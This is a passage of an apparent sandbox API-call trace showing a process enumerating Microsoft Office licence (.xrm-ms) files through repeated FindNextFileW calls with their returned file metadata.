ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3d7a82a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessDemoR_BypassTrial180-pl.xrm-ms", cAlternateFileName="HOB5CE~1.XRM")) returned 1 [0194.042] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3cbbc0c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3cbbc0c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3da0a82, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x56d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms", cAlternateFileName="HO90F4~1.XRM")) returned 1 [0194.042] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3c494f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3c494f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3d080f5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms", cAlternateFileName="HODAE7~1.XRM")) returned 1 [0194.042] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3a0d1e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3a0d1e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3b646e3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x559d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessPipcR_Grace-ppd.xrm-ms", cAlternateFileName="HOMEBU~1.XRM")) returned 1 [0194.042] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee308135, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee37a832, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessPipcR_Grace-ul-oob.xrm-ms", cAlternateFileName="HOC1AF~1.XRM")) returned 1 [0194.042] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec691f40, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xec691f40, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xec750afb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessPipcR_OEM_Perp-pl.xrm-ms", cAlternateFileName="HO4E4E~1.XRM")) returned 1 [0194.042] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee308135, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee4131cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x55d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms", cAlternateFileName="HOCD27~1.XRM")) returned 1 [0194.199] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3ef7f7a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3ef7f7a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3fdcd93, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms", cAlternateFileName="HO30DA~1.XRM")) returned 1 [0194.199] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3dc6c97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3dc6c97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3eaba33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4e0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms", cAlternateFileName="HODC3A~1.XRM")) returned 1 [0194.199] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3c6f733, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3c6f733, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3d2e398, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5611, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Grace-ppd.xrm-ms", cAlternateFileName="HOA2C7~1.XRM")) returned 1 [0194.199] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3b8a961, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3b8a961, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3c6f733, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Grace-ul-oob.xrm-ms", cAlternateFileName="HOMEBU~2.XRM")) returned 1 [0194.200] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3c494f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3c494f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3dc6c97, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp-pl.xrm-ms", cAlternateFileName="HO936B~1.XRM")) returned 1 [0194.200] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3bd6df0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3bd6df0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3cbbc0c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x564d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp-ppd.xrm-ms", cAlternateFileName="HOMEBU~4.XRM")) returned 1 [0194.200] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3bd6df0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3bd6df0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3c9598b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d61, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp-ul-oob.xrm-ms", cAlternateFileName="HO620E~1.XRM")) returned 1 [0194.200] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3b8a961, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3b8a961, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3c232ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dfa, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp-ul-phn.xrm-ms", cAlternateFileName="HOMEBU~3.XRM")) returned 1 [0194.200] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3ed1ce3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3ed1ce3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3fb6b6c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp2-pl.xrm-ms", cAlternateFileName="HO2C67~1.XRM")) returned 1 [0194.200] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3eaba33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3eaba33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3f6a648, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x564e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp2-ppd.xrm-ms", cAlternateFileName="HO3D7E~1.XRM")) returned 1 [0194.200] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3e5f5e0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3e5f5e0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3f1e1f4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d65, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms", cAlternateFileName="HO4CF9~1.XRM")) returned 1 [0194.201] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe40756e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe40756e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe415a524, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms", cAlternateFileName="HOFD0F~1.XRM")) returned 1 [0194.201] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3e393c5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3e393c5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3ef7f7a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp3-pl.xrm-ms", cAlternateFileName="HO5093~1.XRM")) returned 1 [0194.201] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3d2e398, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3d2e398, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3e393c5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x564e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp3-ppd.xrm-ms", cAlternateFileName="HO0707~1.XRM")) returned 1 [0194.201] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3decec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3decec0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3ed1ce3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d65, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms", cAlternateFileName="HO1457~1.XRM")) returned 1 [0194.201] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3da0a82, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3da0a82, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3e5f5e0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms", cAlternateFileName="HOD2EE~1.XRM")) returned 1 [0194.201] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3da0a82, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3da0a82, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe40756e2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp4-pl.xrm-ms", cAlternateFileName="HO8B40~1.XRM")) returned 1 [0194.201] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3d2e398, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3d2e398, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3decec0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x564e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp4-ppd.xrm-ms", cAlternateFileName="HO13F0~1.XRM")) returned 1 [0194.201] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5041085, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5041085, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe52572ac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d65, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms", cAlternateFileName="HO7938~1.XRM")) returned 1 [0194.202] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe40e7dfb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe40e7dfb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe41a69d5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms", cAlternateFileName="HO93DC~1.XRM")) returned 1 [0194.202] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe40e7dfb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe40e7dfb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe41f2eb7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x299f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Retail-pl.xrm-ms", cAlternateFileName="HO6958~1.XRM")) returned 1 [0194.202] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4180773, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4180773, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe426559f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x564b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Retail-ppd.xrm-ms", cAlternateFileName="HOB1F6~1.XRM")) returned 1 [0194.202] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe404f4c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe404f4c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4134233, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d59, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Retail-ul-oob.xrm-ms", cAlternateFileName="HOD57C~1.XRM")) returned 1 [0194.202] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3fdcd93, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3fdcd93, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe40c1be1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Retail-ul-phn.xrm-ms", cAlternateFileName="HO7BFB~1.XRM")) returned 1 [0194.203] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3f1e1f4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3f1e1f4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe40291d7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Retail2-pl.xrm-ms", cAlternateFileName="HO5279~1.XRM")) returned 1 [0194.203] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe40291d7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe40291d7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe40e7dfb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x564c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Retail2-ppd.xrm-ms", cAlternateFileName="HO589B~1.XRM")) returned 1 [0194.203] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3fdcd93, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3fdcd93, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4180773, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Retail2-ul-oob.xrm-ms", cAlternateFileName="HOBCC6~1.XRM")) returned 1 [0194.203] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3f4440f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3f4440f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe404f4c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Retail2-ul-phn.xrm-ms", cAlternateFileName="HO504E~1.XRM")) returned 1 [0194.203] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe42fdf13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe42fdf13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe43967f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Retail3-pl.xrm-ms", cAlternateFileName="HO0179~1.XRM")) returned 1 [0194.203] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe42d7c8c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe42d7c8c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe43967f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x564c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Retail3-ppd.xrm-ms", cAlternateFileName="HO3209~1.XRM")) returned 1 [0194.203] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe42d7c8c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe42d7c8c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4408fb4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Retail3-ul-oob.xrm-ms", cAlternateFileName="HOFBD8~1.XRM")) returned 1 [0194.204] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe426559f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe426559f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe43241ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Retail3-ul-phn.xrm-ms", cAlternateFileName="HO113C~1.XRM")) returned 1 [0194.204] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe451402c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe451402c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe485b385, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Trial-pl.xrm-ms", cAlternateFileName="HODAC9~1.XRM")) returned 1 [0194.204] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe415a524, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe415a524, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe42d7c8c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x56c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Trial-ppd.xrm-ms", cAlternateFileName="HO3298~1.XRM")) returned 1 [0194.204] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe423f37b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe423f37b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe42fdf13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d65, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Trial-ul-oob.xrm-ms", cAlternateFileName="HO6B26~1.XRM")) returned 1 [0194.204] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe41a69d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe41a69d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe42b1a78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba3, dwReserved0=0x0, 